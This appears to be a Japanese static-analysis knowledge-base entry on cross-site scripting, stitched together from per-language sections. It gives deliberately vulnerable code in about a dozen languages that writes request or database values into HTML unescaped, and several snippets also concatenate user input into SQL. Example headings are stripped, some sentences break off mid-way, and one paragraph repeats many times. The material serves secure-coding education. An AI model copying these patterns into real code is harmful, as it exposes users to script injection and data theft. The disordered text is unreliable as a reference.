Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行することができます。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取り、ユーザーに表示します。
def getEmployee = Action { implicit request =>
var eid = request.getQueryString("eid")
eid = StringEscapeUtils.escapeHtml(eid); // insufficient validation
val employee = getEmployee(eid)
if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。myapp://input_to_the_application)。URL の中の信頼できないデータは、その後 UIWebView コンポーネントで HTML 出力を処理するために使用されます。
...
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値がデータベースから読み込まれていて、HTML エンコードされているからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。攻撃者が指定した攻撃コードは、エンコードされた文字を迂回すること、あるいは HTML エンコーディングに影響を受けないコンテキストに入力を配置することが可能です。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。
...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...
inputTextField 内のテキストに標準の英数字テキストのみが含まれる場合は問題なく動作します。inputTextField 内のテキストにメタ文字またはソースコードが含まれる場合、入力は HTTP レスポンスを表示するときに Web ブラウザによってコードとして実行されます。Example 1 に示したように、カスタムの URL スキームからデータが直接読み取られ、UIWebView レスポンスの内容に反映されます。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある iOS アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信されるカスタムスキーム URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるアプリケーションの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてアプリケーションに反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 3 では、ターゲット アプリケーション外部のソースが、ターゲット アプリケーションのカスタム URL スキームを使用して URL リクエストを作成し、続いて URL リクエストによる未検証のデータが信頼されるデータとしてアプリケーションに再び読み込まれ、動的コンテンツに含まれます。eid を HTTP リクエストから読み取り、HTML でエンコードしてユーザーに表示します。
...
eid = Request("eid")
Response.Write "Employee ID:" & Server.HTMLEncode(eid) & "<br/>"
..
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & Server.HTMLEncode(objADORecordSet("name"))
objADORecordSet.MoveNext
Wend
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取り、ユーザーに表示します。
...
eid = request->get_form_field( 'eid' ).
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( eid ).
...
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.
SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
...
response->append_cdata( 'Employee Name: ').
response->append_cdata( itab_employees-name ).
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取り、ユーザーに表示します。
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + eid;
...
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + name;
}
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。username を読み取って、ユーザーに表示します。
<script>
document.write('{!$CurrentPage.parameters.username}')
</script>
username にメタ文字またはソース コードが含まれている場合、コードは Web ブラウザで実行されます。
...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...
<div onclick="this.innerHTML='Hello {!variable}'">Click me!</div>
Example 1 に示すように、name の値が単なる英数字のように適切に定義されている場合はこのコードが正しく動作しますが、悪意のあるデータのチェックは行われません。データベースの内容はユーザー指定のデータから取得されることがあるため、データベースから読み取る場合でも値を適切に検証する必要があります。このように、攻撃者はリフレクト XSS でのように攻撃対象者とやり取りしなくても、ユーザーの Web ブラウザ内で悪意のあるコマンドを実行することができます。このタイプの攻撃はストアド XSS (または持続型 XSS) と呼ばれていて、データが脆弱な関数に間接的に提供されるため、検出するのが非常に困難な場合があります。また、複数のユーザーに影響する可能性があるため、影響が大きくなることもあります。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS は、攻撃者が脆弱な Web アプリケーションに危険なコンテンツを配信し、それをユーザーに反映して、ユーザーのブラウザで実行するように設定できる場合に発生します。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は攻撃対象者をこの URL に誘い込みます。コンテンツがユーザーに戻されてサイトに反映されると、コンテンツが実行され、攻撃対象者のコンピュータから個人の機密情報を転送する、不正な操作を実行する、などの複数の操作が実行可能になります。Example 2 に示すように、データベースなどのデータ ストアからアプリケーションに危険なデータが提供され、動的コンテンツに追加されることがあります。攻撃者の立場からすると、悪意のあるコンテンツを保存するのに最適な場所は、すべてのユーザー (特に、高い権限を持つ、機密情報の処理や重要な操作を実行する可能性の高いユーザー) がアクセスできる領域です。
<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>
Login および EmployeeID は、次のように定義されるフォーム コントロールです。例 2: 次の ASP.NET コードセグメントは、
<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 1 をプログラミングで実装する方法を示しています。
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
Login に標準の英数字テキストだけが含まれている場合に正しく動作します。Login の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
</script>
EmployeeName は、次のように定義されるフォーム コントロールです。例 4: 次の ASP.NET コードセグメントは、
<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 3 と機能的には同じですが、すべてのフォーム要素をプログラミングによって実装しています。
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
Example 1 と Example 2 に示したように、name の値の動作が適切であればこれらのコード例は正しく機能しますが、値が適切ではない場合は悪用を阻止できません。この場合も、これらのコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースの内容はアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 や Example 2 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 3 および Example 4 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。EID を HTML フォームから読み取り、ユーザーに表示します。
...
EXEC CICS
WEB READ
FORMFIELD(ID)
VALUE(EID)
...
END-EXEC.
EXEC CICS
WEB SEND
FROM(EID)
...
END-EXEC.
...
EID に標準の英数字テキストだけが含まれている場合に正しく動作します。EID の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
EXEC SQL
SELECT NAME
INTO :ENAME
FROM EMPLOYEE
WHERE ID = :EID
END-EXEC.
EXEC CICS
WEB SEND
FROM(ENAME)
...
END-EXEC.
...
Example 1 に示すように、ENAME の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。ENAME の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、ENAME の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。ストアド XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTML フォームから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。攻撃者が以下を行う場合に、保存された XSS の悪用が発生します eid を Web フォームから読み取りユーザーに表示します。
<cfoutput>
Employee ID: #Form.eid#
</cfoutput>
Form.eid に標準の英数字テキストだけが含まれている場合に正しく動作します。Form.eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
<cfquery name="matchingEmployees" datasource="cfsnippets">
SELECT name
FROM Employees
WHERE eid = '#Form.eid#'
</cfquery>
<cfoutput>
Employee Name: #name#
</cfoutput>
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。user を HTTP リクエストから読み取り、ユーザーに表示します。
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}
user に標準の英数字テキストだけが含まれている場合に正しく動作します。user の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザーで攻撃者が悪意あるコマンドを実行することがあります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターに「ゲストブック」を提供している Web サイトで、次のような形式で開始されます。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険なコンテンツを入力させられてしまい、それがユーザーに送り返されて Web ブラウザーにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意あるコンテンツを実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりすることがあります。eid を HTTP リクエストから読み取ってユーザーに表示します。
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>
Employee Name: <%= name %>
